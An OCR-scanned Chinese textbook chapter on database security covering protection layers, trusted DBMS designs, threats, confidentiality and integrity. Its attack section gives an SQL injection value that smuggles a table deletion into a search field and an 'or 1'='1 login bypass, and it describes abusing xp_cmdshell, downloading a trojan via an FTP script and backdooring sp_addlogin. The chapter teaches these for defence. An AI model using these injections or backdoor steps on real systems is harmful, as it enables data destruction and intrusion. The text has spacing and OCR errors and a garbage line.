(1) 系统 的 安全 设置 及 管理 ,包括 法 律 法规 ,政策 制度 .实体 安全 等 。 

(2) 数据 库 的 访问 控制 和 权限 管理 。 

(3) 用 户 的 资源 限制 ,包括 访问 、 使 用 、 存 取 、 维 护 与 管理 等 。 

(4) 系统 运行 安全 及 用 户 可 执行 的 系统 操作 。 

(5) 数据 库 审计 有 效 性 。 

(6) 用 户 对 象 可 用 的 磁盘 空间 及 数量 。 

数据 安全 是 在 对 象 级 控制 数据 库 的 访问 、 存 取 、 加 密 、 使 用 ,应 急 处 理 和 审计 等 机 制 ， 
包括 用 户 可 存 取 指定 模式 的 对 象 及 在 对 象 上 允许 的 具体 操作 类 型 等 。 


912 数据 库 安全 的 层次 结构 
1. 数据 库 安 全 的 层次 


一 般 数 据 库 安全 涉及 5 个 层次 , 自 下 而 上 依次 为 以 下 5 层 ， 

(1) 物理 层 。 系 统 最 外 层 最 容易 受到 攻击 和 破坏 ,主要 侧重 保护 计算 机 网 络 系统 、 网 
络 链 路 及 其 网 络 结 点 的 实体 安全 。 

(2) 网 络 层 。 所 有 网 络 数据 库 系 统 都 允许 通过 网 络 进行 远程 访问 ,网 络 层 安全 性 和 
物理 层 安全 性 一 样 极为 重要 。 

(3) 操作 系统 层 。 操 作 系 统 在 数据 库 系统 中 与 DBMS 交互 并 协助 控制 管理 数据 库 。 
操作 系统 安全 漏洞 和 隐患 将 成 为 对 数据 库 进 行 非 授 权 访 问 的 手段 。 

(4) 数据 库 系 统 层 。 数 据 库存 储 着 机 密 程度 和 敏感 程度 不 同 的 各 种 数据 ,并 为 拥有 
不 同 授权 的 用 户 所 共享 ,数据 库 系统 必须 采取 授权 限制 ,身份 认证 访问 控制 .加 密 和 审计 
等 安全 措施 。 

(5) 应 用 层 。 也 称 用 户 层 ,主要 侧重 用 户 权限 管理 及 身份 认证 和 各 种 应 用 的 安全 等 ， 
外 点 防范 非 授权 用 户 以 各 种 方式 对 数据 库 及 数据 的 非法 访问 、 泄 露 .更 改 、 破 坏 和 控制 。 

注意 : 为 了 确保 数据 库 系 统 的 安全 ,必须 在 所 有 层次 上 进行 安全 性 保护 措施 。 若 
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较 低 层次 上 安全 性 存在 缺陷 , 则 严格 的 高 层 安 全 性 措施 也 可 能 被 绕 过 而 仍然 出 现 安全 
问题 。 


2. 可 信 DBMS 体系 结构 


可 信 DBMS 体系 结构 分 为 两 类 : TCB 子 集 DBMS 体系 结构 和 可 信 主 体 DBMS 体系 

1) TCB 子 集 DBMS 体系 结构 

执行 网 络 安全 机 制 的 可 信 计 算 基 (CTCB) 子 集 DBMS 利用 位 于 DBMS 外 部 的 可 信 计 
算 基 ( 常 为 可 信 操 作 系统 或 可 信和 网络) ,执行 对 数据 库 客体 的 强制 访问 控制 。 该 体系 将 多 
级 数据 库 客体 按 安全 属性 分 解 为 单 级 断 片 (属性 相同 的 数据 库 客体 属 同一 断 片 ) ,分 别 进 
行 物理 隔离 存 人 操作 系统 客体 中 。 每 个 操作 系统 客体 的 安全 属性 就 是 存储 于 其 中 的 数 
据 库 客体 的 安全 属性 。 之 后 ,TCB 对 此 隔离 的 单 级 客体 实施 强制 存 取 控 制 (MAC)。 

该 体系 的 最 简单 方案 是 将 多 级 数据 库 分 解 为 单 级 元 素 , 安 全 属性 相同 的 元 素 存 在 一 
个 单 级 操作 系统 客体 中 。 使 用 时 , 先 初始 化 一 个 运行 于 用 户 安 全 级 的 DBMS 进程 ,通过 
操作 系统 实施 的 强制 访问 控制 策略 ,DBMS 只 访问 不 超过 该 级 别 的 客体 。 之 后 , DBMS 
从 同一 个 关系 中 将 元 素 连接 起 来 , 重 构成 多 级 元 组 ,返回 给 用 户 , 如 图 9-1 所 示 。 

2) 可 信和 主体 DBMS 体系 结构 

该 体系 结构 与 上 一 体系 结构 极 不 相同 ,自身 执行 强制 访问 控制 。 按 逻辑 结构 分 解 多 
级 数据 库 ,并 存储 在 几 个 单 级 操作 系统 客体 中 。 而 每 个 单 级 操作 系统 客体 中 可 同时 存储 
多 种 级 别 的 数据 库 客体 (如 数据 库 、 关 系 、 视 图 、 元 组 或 元 素 ), 并 与 其 中 最 高 级 别 数据 库 
客体 的 敏感 性 级 别 相 同 。 该 体系 结构 的 一 种 简单 方案 如 图 9-2 所 示 ,DBMS 软件 仍 在 可 
信和 操作 系统 上 运行 ,所 有 对 数据 库 的 访问 都 须 经 由 可 信 DBMS。 


高 安全 级 用 户 低 安 全 级 用 户 
用 户 应 用 
高 安全 级 DBMS 进 程 低 安全 级 DBMS 进 程 | 
可 信 主 体 DBMS 
可 信 操 作 系统 可 信 操 作 系统 
高 安全 级 数据 库 高 安全 级 数据 库 高 安全 级 数据 库 文件 
图 9-1 TCB 子 集 DBMS 体系 结构 图 9-2 可 信 主 体 DBMS 体系 结构 
CHEE 


(1) 数据 库 系 统 由 哪 几 部 分 组 成 ? 以 哪 部 分 为 核心 ? 
(2) 数据 库 安 全 的 概念 是 什么 ? 如 何 实施 ? 
(3) 数据 库 安全 具体 有 哪 几 个 层次 ? 
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921 威胁 数据 库 安全 的 要 素 


由 于 数据 库 系统 自身 的 特点 ,大 量 重要 数据 聚集 存放 并 为 多 用 户 共享 ,所 以 ,数据库 
的 安全 问题 更 为 突出 。 在 数据 库存 在 的 不 安全 因素 中 ,外 在 因素 也 很 重要 。 重 点 应 当 防 
范 数据 库 系 统 的 安全 威胁 和 各 种 隐患 。 


1. 威胁 数据 库 安 全 的 要 素 


【案例 9-2〗 木马 病毒 致使 数据 严重 泄密 。 某 大 学 知名 的 董 教授 ,平时 工作 欧 顽 业 
业 , 经 常 深夜 或 节假日 加 班 加 点 在 家 搞 科 研 和 备课 。 由 于 需要 查阅 资料 ,他 家 中 的 电脑 
经 常 接 入 国际 互联 网 。 董 教授 时 常 白天 在 办 公 室 办 公 电 脑 上 工作 ,晚上 在 家 用 个 人 电脑 
工作 ,经 常用 U 盘 将 未 完成 的 工作 内 容 在 两 个 电脑 间 相 互 复制 。 几 年 间 , 昔 教授 办 公 电 
脑 内 的 200 多 份 文件 资料 不 知 不 觉 地 进 了 互联 网 ,造成 重大 泄密 。 经 上 级 保密 委员 会 审 
查 鉴 定 , 涉 密 文件 资料 达 30 多 份 , 董 教授 受到 严肃 处 理 。 

威胁 数据 库 安 全 的 因素 包括 以 下 7 种: 

(1) 法 律 法 规 ,社会 伦理 道德 和 宣传 教育 等 问题 。 

(2) 政策 制度 及 管理 问题 。 

(3) 硬件 系统 控制 问题 。 如 CPU 是 否 具备 安全 性 方面 的 特性 。 

(4) 实体 安全 。 包 括 计 算 机 (服务 器 ) 或 终端 ,网络 设备 等 安全 及 运行 环境 安全 。 

(5) 操作 系统 安全 性 问题 。 

(6) 可 操作 性 问题 。 若 某 个 密码 方案 被 采用 , 则 密码 自身 的 安全 性 如 何 保证 。 

(7) 数据 库 系 统 本 身 的 缺陷 和 隐患 带 来 的 安全 性 问题 。 


2. 数据 库 系统 缺陷 及 隐患 


一 般 的 W eb 服务 器 都 通过 操作 系统 和 DBMS 使 用 数据 库存 储 数据 ,由 于 许多 应 用 
程序 经 常 通过 页 面 提交 方式 接受 客户 的 各 种 请 求 , 如 查询 网 络 各 种 信息 ,注册 、 提 交 或 修 
改 用 户 信息 等 操作 ,实质 上 是 与 应 用 程序 的 后 台数 据 库 交 互 , 从 而 留 下 很 多 安全 漏洞 和 

常见 数据 库 的 安全 缺陷 和 隐患 如 下 : 

(1) 数据 库 应 用 程序 的 研发 .管理 和 维护 等 人 为 因素 朴 忽 。 

(2) 用 户 对 数据 库 安全 的 忽视 ,安全 设置 和 管理 失当 。 

(3) 部 分 数据 库 机 制 威胁 网 络 低层 安全 。 

(4) 系统 安全 特性 自身 存在 的 缺陷 。 

(5) 数据 库 账 号 、 密 码 容 易 泄漏 和 破译 。 

(6) 操作 系统 后 门 及 漏洞 隐患 。 

(7) 网 络 病毒 及 运行 环境 等 其 他 威胁 。 


246 


b. 
4 人们 jg 安 全 实用 技术 第 2 版 ) 


922 攻击 数据 库 的 常用 手段 
1. 对 本 地 数据 库 的 攻击 


通常 ,对 网 络 数据 库 进 行 攻 击 的 方法 主要 是 利用 本 地 数据 库 下 载 数据 文件 ,然后 利 
用 此 文件 窃取 用 户 账 号 .密码 和 其 相关 的 重要 信息 。 

【案例 9-3] 以 abcd 网 站 为 例 。 通 过 扫描 www. abcd. com 得 知 此 网 站 使 用 的 是 虚 
拟 主机 ,操作 系统 是 Windows。 利 用 对 HS 的 攻击 可 发 现 此 站 点 存在 ASP 源 代码 及 漏 
洞 。 经 过 分 析 后 即 可 发 现存 储 数据 库 的 网 址 ,并 可 下 载 相 关 数 据 库 。 然 后 进行 攻击 : 建 
立 连 接 对 象 , 设 置 数据 库 路 径 , 打 开 数 据 库 ,设置 记录 对 象 , 窃 取 重 要 信息 。 由 代码 可 知 
其 数据 库 的 类 型 、 名称 和 路 径 以 及 数据 库 的 表 名 和 字段 名 称 。 有 经 验 的 程序 员 一 般 不 会 
把 数据 库 名 直接 放 在 代码 里 ,而 是 在 ODBC 里 设置 数据 源 , 以 提高 安全 性 。 管 理 员 通过 
防范 这 些 薄弱 环节 , 便 可 极 大 地 增强 数据 库 系 统 的 安全 性 。 


2. 突破 有 关 限 制 


1) 突破 脚本 的 限制 

多 数 网 页 都 带 有 VBScript 或 JavaScript 脚本 程序 ,用 于 语法 和 功能 验证 ,权限 限制 
或 提高 页 面 效 果 。 当 页 面 使 用 脚本 登录 验证 时 ,会 弹出 一 些 提示 信息 。 攻 击 者 可 能 利用 
某 种 方式 来 突破 脚本 的 限制 进入 系统 。 

【案例 9-4】 某 网 页 有 一 个 允许 用 户 输 入 用 户 名 和 密码 的 文本 框 , 且 限制 用 户 只 能 
输入 6 个 字符 。 许 多 程序 都 是 在 客户 端 限 制 , 然 后 用 msgbox 弹出 错误 提示 。 黑 客 攻击 
时 只 需要 在 本 地 做 一 个 同样 的 主页 并 取消 此 限制 ,通常 是 去 掉 VBScript 或 JavaScript 的 
限制 程序 即 可 突破 。 网 页 若 含 JavaScript, 只 需 临 时 关闭 浏览 器 的 脚本 支持 。 网 页 若 带 
所 input type= text name 一 …maxlength 一 … 二 ,可 将 form 的 Action 直接 用 绝对 URL 
提交 。 

有 经 验 的 程序 员 常 在 程序 后 台 再 做 一 遍 检验 , 若 有 错误 便 用 response. write 或 类 似 
的 语句 输出 错误 , 即 可 防范 攻击 。 

2) 对 SQL 的 注入 

对 SQL 的 注入 (SQL injection) 也 称 SQL 突破 。 这 种 攻击 主要 利用 程序 员 对 用 户 输 
入 数据 的 合法 性 不 检测 或 检测 不 严 的 杖 忽 , 从 客户 端 提交 特殊 的 SQL 查询 代码 ,从 而 收 
集 程序 及 服务 器 的 信息 .窃取 重要 信息 。 


3. 利用 数据 库 漏洞 


1) 利用 多 语句 执行 漏洞 
在 对 方 允许 多 条 语句 执行 的 情况 下 ,如 果 用 户 以 “网 络 安全 ” 书 名 查询 所 有 的 书 ， 
SQL 语句 为 


select … where bookname= ' 网 络 安全 ' 
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如 果 输 入 
网 络 安全 ' delete fram user where '1'= '1 


则 变 成 对 表 的 删除 操作 。 

ER 知识 拓展 ”由 于 程序 没有 处 理 边 界 符 “所 产生 的 漏洞 的 危害 程度 ,与 结果 集 的 类 
型 及 数据 库 的 配置 有 很 大 关系 。 如 果 结 果 集 只 支持 单条 的 SQL 语句 , 则 所 能 做 的 只 是 
在 密码 框 内 输入 'or 1' 二 1 来 登录 。 还 可 以 用 此 方法 在 数据 库 中 增加 用 户 。 

2) 攻击 系统 账号 

SQL Server 安装 后 自动 创建 一 个 管理 用 户 sa, 密 码 为 空 。 多 数 用 户 在 此 之 后 并 不 更 
改 密码 , 便 留 下 一 个 极 大 的 安全 隐患 。 

通常 ,在 程序 中 的 连接 用 两 种 文件 : SSL 文件 或 global. asa。SSL 文件 多 数 人 习惯 
放 到 Web 的 /include 或 /inc 目录 下 , 且 文 件 名 常 是 conn. inc. db_conn. inc, dbconninc 
等 ,有 时 可 能 被 猜 到 。 一 般 由 于 . inc 不 做 关联 , 若 此 目录 没有 禁 读 ,直接 请 求 可 下 载 或 显 
示 源 文件 ,一 旦 猿 到 文件 名 即 可 侵入 。 另 外 ,当主 要 程序 放 到 一 个 后 级 为 . inc 的 文件 而 
没有 处 理 , 当 运行 出 错时 返回 的 出 错 信息 中 常会 暴露 . inc 文件 。 可 在 HS 中 设置 不 回应 
脚本 出 错 信息 来 防范 攻击 。 

3) 利用 权限 等 管理 漏洞 

如 果 程 序 中 的 连接 用 户 权 限 很 小 , 且 多 数 表 只 能 读 ,黑客 就 很 准 有 所 作为 ,只 能 以 猜 
测 表 名 和 字段 名 的 攻击 方式 破坏 数据 或 表 的 操作 。 

【案例 9-s] SQL Server 的 默认 端口 号 是 1433 ,可 用 Telnet 试 连 服务 器 , 若 连接 成 
功 , 则 安装 SQL Server。 若 对 方 数 据 直 接 存 储 在 Web 服务 器 中 且 知 道 端口 号 ,以 账号 即 
可 用 SQL Analyzer 直接 连接 数据 库 ,并 可 执行 SQL 语句 。 常 用 的 是 一 个 扩展 存储 过 程 
master. dbo. XP_cmdshell ,将 仅 有 的 一 个 参数 作为 系统 命令 执行 。 管 理 用 户 有 权 执 行 此 
存储 过 程 ,而 且 这 时 可 执行 更 多 操作 ,如 用 ipconfig 查看 IP 设置 ,用 net user 查看 系统 用 
户 。 若 无 此 权限 ,可 利用 SQL 漏洞 创建 一 个 临时 存储 过 程 执行 即 可 绕 过 。 可 反复 用 
echo 创建 一 个 FTP 脚本 ,将 木马 传 到 一 个 FTP 站 点 ,并 用 存储 过 程 调用 FTP 以 脚本 下 

知识 拓展 ”如 果 数 据 库 服务 器 无 法 从 Internet 上 直接 访问 , 则 可 利用 程序 漏洞 来 
删除 、 修 改 数据 或 加 入 JavaScript 语句 到 数据 库 , 一 般 对 合法 用 户 录入 数据 时 的 有 关 操 作 
不 会 进行 过 滤 或 阻 断 , 则 可 用 JavaScript 将 它 转 到 其 他 站 点 上 或 进行 其 他 操作 。 如 果 只 
修改 端口 号 ,冒充 管理 用 户 , 仍 可 创建 一 个 操作 系统 用 户 , 然 后 再 升级 为 超级 用 户 。 

4) 对 数据 库 留 后 门 

各 种 网 络 用 户 都 可 利用 创建 用 户 的 sp_addlogin 及 权限 分 配 的 sp_ addsrvrolemember 语 
句 , 先 执行 后 判断 权限 。 当 黑客 攻 入 一 个 数据 库 时 ,可 用 其 企业 管理 器 连接 并 修改 这 些 未 
加 密 的 存储 过 程 , 并 在 判断 的 地 方 加 一 个 条 件 ,无论 什么 权限 的 用 户 调用 都 不 再 执行 。 但 
是 ,修改 后 须 注意 改 回 ,这 时 Type 成 了 User, 在 sysobjects 表 中 将 name 为 sp_addlogin 的 一 
条 删除 ,再 将 没 改过 的 同 版 本 的 SQL Server 的 同一 条 记录 进行 复制 。 
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“923 数据 库 安 全 研究 概况 


20 世纪 70 年 代 初 ,美军 开始 对 多 级 安全 数据 库 管 理 系统 (Mnultilevel Secure 
Database Management System, MLS DBMS) 进 行 研 究 , 之 后 相继 提出 了 一 系列 数据 库 
安全 模型 。20 世纪 80 年 代 , 美 国 国防 部 通过 制定 (可 信 计 算 机 系统 安全 评估 标准 构建 
了 最 早 的 信息 安全 及 数据 库 安全 评估 体系 。20 世纪 90 年 代 后 期 ,ISO 将 《信息 技术 安全 
评价 通用 准则 》(Common Criteria, CC) 确 立 为 国际 标准 ,为 数据 库 系 统 的 安全 研发 提供 
了 重要 依据 。 

我 国 从 20 世纪 80 年 代 开始 进行 数据 库 技术 的 研发 。 由 于 数据 安全 涉及 国家 高 度 
核心 机 密 , 所 以 ,只 能 进行 自主 研发 。2001 年 国防 部 提出 第 一 个 数据 库 安全 标准 4 军用 数 
据 库 安 全 评估 准则 》,2002 年 发 布 了 公安 部 行业 标准 《计算 机 信息 系统 安全 等 级 保护 / 数 
据 库 管理 系统 技术 要 求 》(GA/VT 389 一 2002)。 我 国 非常 重视 数据 库 安全 研究 ,起 步 晚 ， 
但 发 展 快 ,已 经 纳入 国家 “863”“*973” 等 重点 研究 项 目 , 在 数据 加 密 等 方面 已 经 达到 国际 
领先 水 平 。 

从 总 体 上 看 ,与 国外 数据 库 安全 高 新 技术 和 主流 数据 库 安 全 产品 相 比 ,我 国 的 研究 
成 果 在 机 密 性 、 可 控 性 和 可 用 性 等 方面 还 有 一 定 的 差距 。 

[EB 计 论 思考 

(1) 威胁 数据 库 安全 的 因素 有 哪些 ? 缺陷 和 隐患 主要 是 什么 ? 

(2) 攻击 数据 库 的 手段 主要 有 哪些 ? 

(3) 我 国 数据 库 安 全 的 研究 概况 如 何 ? 


93 ”数据库 的 安全 特性 


数据 库 系统 的 安全 特性 主要 是 针对 数据 而 言 的 ,包括 数据 库 及 数据 的 独立 性 、 安 全 
人 性、 完整 性 、 并 发 控制 ,故障 恢复 等 几 个 方面 。 其 中 ,数据 独立 性 包括 物理 独立 性 和 逻辑 
独立 性 。 物 理 独 立 性 是 指 用 户 的 应 用 程序 与 存储 在 数据 库 中 的 数据 是 相互 独立 的 ;逻辑 
独立 性 是 指 用 户 的 应 用 程序 与 数据 库 逻 辑 结 构 相 互 独立 。 两 种 数据 独立 性 都 由 DBMS 
实现 。 


931 数据 库 的 安全 性 


1. 数据 库 的 安全 性 含义 


数据 库 的 安全 性 是 指数 据 库 中 数据 的 保护 措施 ,一 般 包 括 用 户 的 身份 认证 管理 、 数 
据 库 的 使 用 权限 管理 和 数据 库 中 对 象 的 使 用 权限 管理 3 种 安全 性 保护 措施 。 

Web 数据 库 是 数据 库 技术 与 Web 技术 的 结合 ,其 中 存在 很 多 安全 隐患 。 要 保障 
Web 数据 库 的 安全 运行 ,可 以 从 以 下 几 个 方面 人 手 ,构建 一 套 安全 的 访问 控制 模式 ,如 
9-3 所 示 。 
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用 户 标识 和 鉴别 
(口令 密 文 ) 访问 控制 


用 户 。 上 -| 。 数据 库 应 用 程序 


| 


数据 库 JP mam | tas 


| | | 


加 密 存 储 访问 存储 审计 
控制 过 程 追踪 


图 9-3 数据库 系 统 安全 访问 控制 模式 


1) 身份 认证 管理 与 安全 机 制 

数据 库 的 安全 机 制 和 策略 涉及 内 容 较 多 ,将 在 9.4 节 详 细 介 绍 。 

2) 权限 管理 

(1) 授权 。DBMS 提供 了 功能 强大 的 授权 机 制 , 可 给 用 户 授予 各 种 不 同 对 象 ( 表 、 视 
图 .存储 过 程 等 ) 的 不 同 使 用 权限 (如 select\update ,insert delete 等 ) 。 

(2) 角色 。 是 被 命名 的 一 组 与 数据 库 操作 相关 的 权限 , 即 一 组 相关 权限 的 集合 。 可 
为 一 组 相同 权限 的 用 户 创 建 一 个 角色 。 使 用 角色 管理 数据 库 权限 ,可 简化 授权 的 过 程 。 

3) 视图 访问 

视图 提供 了 访问 数据 的 简便 方法 ,在 授予 用 户 对 特定 视图 的 访问 权限 时 ,该 权限 只 
用 于 在 该 视图 中 定义 的 数据 项 ,而 不 是 用 于 视图 对 应 的 完整 基本 表 。 

4) 审计 管理 

审计 指 记录 数据 库 操作 和 事件 的 过 程 。 审 计 记 录 可 以 记载 用 户 所 使 用 的 系统 权限 、 
频率 .登录 的 用 户 数 、 会 话 平均 持续 时 间 、 使 用 的 命令 以 及 其 他 有 关 操 作 和 事件 。 通 过 审 
计 功 能 可 将 用 户 对 数据 库 的 所 有 操作 自动 记录 下 来 , 存 人 审计 日 志 。 


2. 数据 安全 性 


数据 安全 性 是 数据 库 安全 的 核心 和 关键 ,在 1.1.1 节 中 曾经 介绍 过 网 络 安全 的 最 终 
目标 是 实现 网 络 数据 (信息 ) 的 安全 属性 特征 (保密 性 、 完 整 性 、 可 用 性 、 可 靠 性 、 可 控 性 和 
可 审查 性 ) ,其 中 保密 性 、 完 整 性 .可 用 性 也 是 数据 (信息 ) 安 全 的 基本 要 求 。 

1) 保密 性 

数据 的 保密 性 是 指 不 允许 未 经 授权 或 越权 的 用 户 存 取 或 访问 数据 ,可 利用 对 用 户 的 
认证 与 鉴别 .权限 管理 , 存 取 控制 .数据库 与 数据 加 密 、 推 理 控制 等 措施 实现 。 

(1) 用 户 标 识 与 鉴别 。 由 于 数据 库 用 户 的 安全 等 级 不 同 , 因 此 需要 分 配 不 同 的 权限 ， 
数据 库 系统 必须 建立 严格 的 用 户 认 证 机 制 。 身 份 的 标识 和 鉴别 是 DBMS 对 访问 者 授权 
的 前 提 , 并 且 通 过 审计 机 制 使 DBMS 保留 追究 用 户 行为 责任 的 能 力 。 

(2) 存 取 控 制 。 目 的 是 确保 用 户 对 数据 库 只 能 进行 经 过 授权 的 有 关 操作 。 

(3) 数据 库 加 密 。 数 据 库 以 文件 形式 通过 操作 系统 进行 管理 ,黑客 可 以 直接 利用 操 
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EZ 5: BJ 8 98 m 9 ask 3 p Br ja p X pR 8 1k... 2238 BE BJ k 3 AS Mu tu 16 fE fe a pl P: rh 
采用 加 密 和 访问 控制 ,而 且 包 括 对 存储 的 敏感 数据 进行 加 密 。 

数据 库 加 密 技 术 的 功能 和 特性 主要 有 6 个 : 身份 认证 .通信 加 密 与 完整 性 保护 .数据 
库 中 数据 存储 的 加 密 与 完整 性 保护 .数据库 加 密 设置 .多 级 密 钥 管理 模式 和 安全 备份 ( 即 
系统 提供 数据 库 明文 备份 功能 和 密 钥 备份 功能 ) 。 

对 数据 进行 加 密 主 要 有 3 种 方式 , 即 系统 中 加 密 、 服 务 器 端 (DBMS 内 核 层 ) 加 密 、 客 
户 端 (DBMS 外 层 ) 加 密 。 

(4) 审计 。 审 计 是 指 监视 和 记录 用 户 对 数据 库 所 施加 的 各 种 操作 的 机 制 。 审 计 系统 
记录 用 户 对 数据 库 的 所 有 操作 ,并且 存 人 审计 日 志 。 事 后 可 利用 这 些 信 息 重 现 导 致 数据 
库 现 有 状况 的 一 系列 事件 ,提供 分 析 攻击 者 线索 的 依据 。 

DBMS 的 审计 主要 分 为 4 种 : 语句 审计 、 特 权 审计 、 模 式 对 象 审计 和 资源 审计 。 语 句 
审计 是 指 监视 一 个 或 者 多 个 特定 用 户 或 者 所 有 用 户 提交 的 SQL 语句 ;特权 审计 是 指 监 
视 一 个 或 者 多 个 特定 用 户 或 者 所 有 用 户 使 用 的 系统 特权 ;模式 对 象 审计 是 指 监视 一 个 模 
式 中 在 一 个 或 者 多 个 对 象 上 发 生 的 行为 ;资源 审计 是 指 监视 分 配给 每 个 用 户 的 系统 
资源 。 

(5) 备份 与 恢复 。 为 了 防止 意外 ,不 仅 需要 及 时 进行 数据 备份 ,而 且 当 系统 发 生 故 障 
后 可 利用 数据 备份 快速 恢复 ,并 保持 数据 的 完整 性 和 一 致 性 。 详 见 9. 3.4 节 的 介绍 。 

(6) 推理 控制 与 隐私 保护 。 数 据 库 安 全 中 的 推理 是 指 用 户 根据 低 密 级 的 数据 和 模式 
的 完整 性 约束 推导 出 高 密级 的 数据 ,造成 未 经 授权 的 信息 泄密 ,其 推理 路 径 称 为 “推理 通 

2) 完整 性 

数据 的 完整 性 详 见 9. 3. 2 节 的 介绍 ,主要 包括 物理 完整 性 和 逻辑 完整 性 。 

(1) 物理 完整 性 。 指 保证 数据 库 的 数据 不 受 物理 故障 (如 硬件 故障 或 掉 电 等 ) 的 影 
响 ,并 有 可 能 在 灾难 性 毁坏 时 重建 和 恢复 数据 库 。 

(2) 逻辑 完整 性 。 是 指 对 数据 库 迎 辑 结构 的 保护 ,包括 数据 语义 与 操作 完整 性 。 前 
者 主要 指数 据 存 取 在 逻辑 上 满足 完整 性 约束 ,后 者 主要 指 在 并 发 事务 处 理 过 程 中 保证 数 
据 的 逻辑 一 致 性 。 

3) 可 用 性 

数据 的 可 用 性 是 指 在 授权 用 户 对 数据 库 中 的 数据 正常 操作 的 同时 ,保证 系统 的 运行 
效率 ,并 提供 用 户 友好 的 人 机 交互 。 

数据 的 保密 性 和 可 用 性 之 间 时 常 存在 冲突 。 对 数据 库 加 密 必然 会 带 来 数据 存储 与 
索引 、 密 钥 分 配 和 管理 等 一 系列 问题 ,同时 加 密 也 会 显著 地 降低 数据 库 的 访问 与 运行 
效率 。 

操作 系统 中 的 对 象 一 般 情 况 下 是 文件 ,而 数据 库 支 持 的 应 用 要 求 更 为 精细 。 通 常 比 
较 完整 的 数据 库 对 数据 安全 性 采取 以 下 措施 : 

(1) 将 数据 库 中 需要 保护 的 部 分 与 其 他 部 分 进行 隔离 。 

(2) 采用 授权 规则 ,如 账户 .口令 和 权限 控制 等 访问 控制 方法 。 

(3) 对 数据 进行 加 密 后 存储 于 数据 库 中 。 


s= snzszeka 
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932 数据 库 的 完整 性 


在 对 数据 库 的 表 中 的 大 量 数据 进行 统一 组 织 与 管理 时 ,要 求 数据 库 中 的 数据 首先 要 
满足 数据 库 的 完整 性 。 


1. 数据 库 完 整 性 


数据 库 完 整 性 (database integrity) 是 指数 据 库 中 数据 的 正确 性 和 相 容 性 。 以 各 种 完 
整 性 约束 为 保证 ,数据 库 完 整 性 设计 实际 上 是 数据 库 完整 性 约束 的 设计 。 可 以 通过 
DBMS 或 应 用 程序 来 实现 数据 库 完 整 性 约束 ,基于 DBMS 的 完整 性 约束 以 模式 的 一 部 分 
存 人 数据 库 中 。 数 据 库 完整 性 对 于 数据 库 应 用 系统 至 关 重 要 ,其 主要 作用 体现 在 以 下 
4 个 方面 : 

(1) 防止 合法 用 户 向 数据 库 中 添加 不 合 语义 的 数据 。 

(2) 利用 基于 DBMS 的 完整 性 控制 机 制 实现 业务 规则 ,易于 定义 和 理解 ,而 且 可 以 
降低 应 用 程序 的 复杂 性 ,提高 应 用 程序 的 运行 效率 。 同 时 ,基于 DBMS 的 完整 性 控制 机 
制 是 集中 管理 ,因此 比 应 用 程序 更 容易 实现 数据 库 的 完整 性 。 

(3) 合理 的 数据 库 完 整 性 设计 可 协调 兼顾 数据 库 的 完整 性 和 系统 效能 。 如 加 载 大 量 
数据 时 ,只 在 加 载 之 前 临时 使 基于 DBMS 的 数据 库 完 整 性 约束 失效 ,完成 加 载 后 再 使 其 
生效 , 既 不 影响 数据 加 载 的 效率 ,又 能 保证 数据 库 的 完整 性 。 

(4) 在 应 用 软件 的 功能 测试 中 ,完善 的 数据 库 完 整 性 有 助 于 尽早 发 现 应 用 软件 的 
错误 。 

数据 库 完 整 性 约束 可 分 为 6 类 : 列 级 静态 约束 、 元 组 级 静态 约束 .关系 级 静态 约束 、 
列 级 动态 约束 .元 组 级 动态 约束 .关系 级 动态 约束 。 动 态 约束 通常 由 应 用 软件 来 实现 ,不 
同 DBMS 支持 的 数据 库 完 整 性 基本 相同 。 


2. 数据 完整 性 


数据 完整 性 (data integrity) 是 指数 据 的 精确 性 (accuracy) 和 可 靠 性 (reliability)。 主 
要 包括 数据 的 正确 性 有 效 性 和 一 臻 性。 正确 性 是 指数 据 的 输入 值 与 数据 表 对 应 域 的 类 
型 一 样 ,有 效 性 是 指数 据 库 中 的 理论 数值 满足 现实 应 用 中 对 该 数值 段 的 约束 ,一 致 性 是 
指 不 同 用 户 使 用 的 同一 数据 是 一 样 的 。 数 据 完整 性 可 防止 数据 库 中 存在 不 符合 语义 规 
定 的 数据 ,并 防止 因 错误 信息 的 输入 输出 造成 无 效 操作 或 产生 错误 信息 。 数 据 库 中 存储 
的 所 有 数据 都 需要 处 于 正确 的 状态 ,如 果 数 据 库 中 存 有 不 正确 的 数据 值 , 则 称 该 数据 库 
已 丧失 数据 完整 性 。 

数据 完整 性 分 为 以 下 428; 

(1) 实体 完整 性 (entity integrity) 。 规 定 表 的 每 一 行 在 表 中 是 唯一 的 实体 。 表 中 定 
义 的 UNIQUE PRIMARYKEY 和 IDENTITY 约束 就 是 实体 完整 性 的 体现 。 

(2) 域 完整 性 (domain integrity) 。 指 数据 库 表 中 的 列 必须 满足 某 种 特定 的 数据 类 型 
或 约束 。 其 中 ,约束 又 包括 取 值 范围 .精度 等 规定 。 表 中 的 CHECK FOREIGN KEY 的 
束 和 DEFAULT、NOT NULL 定义 都 属于 域 完整 性 的 范畴 。 
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(3) 参照 完整 性 (referential integrity)。 指 任何 两 表 的 主 关键 字 和 外 关键 字 的 数据 
需 对 应 一 致 。 以 确保 表 之 间 的 数据 的 一 致 性 ,防止 数据 丢失 或 无 意义 的 数据 在 数据 库 中 
扩散 。 在 SQL Server 中 ,主要 作用 为 : 禁止 在 从 表 中 插入 包含 主 表 中 不 存在 的 关键 字 的 
数据 行 ;禁止 导致 从 表 中 的 相应 值 对 孤立 的 主 表 中 外 关键 字 值 的 改变 ;禁止 删除 在 从 表 
中 的 有 对 应 记录 的 主 表 记 录 。 

(4) 用 户 定 义 完整 性 (user-defined integrity) 。 是 针对 某 个 特定 关系 数据 库 的 约束 
条 件 , 它 反映 某 一 具体 应 用 所 涉及 的 数据 必须 满足 的 语义 要 求 。SQL Server 提供 了 定义 
和 检验 这 类 完整 性 的 机 制 ,以 便 用 统一 的 系统 方法 进行 处 理 ,而 不 是 用 应 用 程序 来 承担 
此 功能 。 其 他 的 完整 性 类 型 都 支持 用 户 定义 的 完整 性 。 

数据 库 采 用 多 种 方法 来 保证 数据 完整 性 ,包括 外 键 、 约 束 、 规 则 和 触发 器 。 下 面 以 
SQL Server 为 例 来 说 明 实 现 数据 完整 性 的 方法 。 

【案例 9-6] SQL Server 提供 了 一 些 工具 帮助 用 户 实 现 数 据 完 整 性 ,主要 包括 规则 、 
默认 值 .约束 和 触发 器 。 

(1) 规则 (rule)。 规 则 和 CHECK 约束 条 件 的 功能 相同 。 区 别 是 : 规则 作为 独立 的 
对 象 存在 ,可 用 于 多 表 , 约 束 条 件 只 作为 表 的 一 部 分 存储 。 

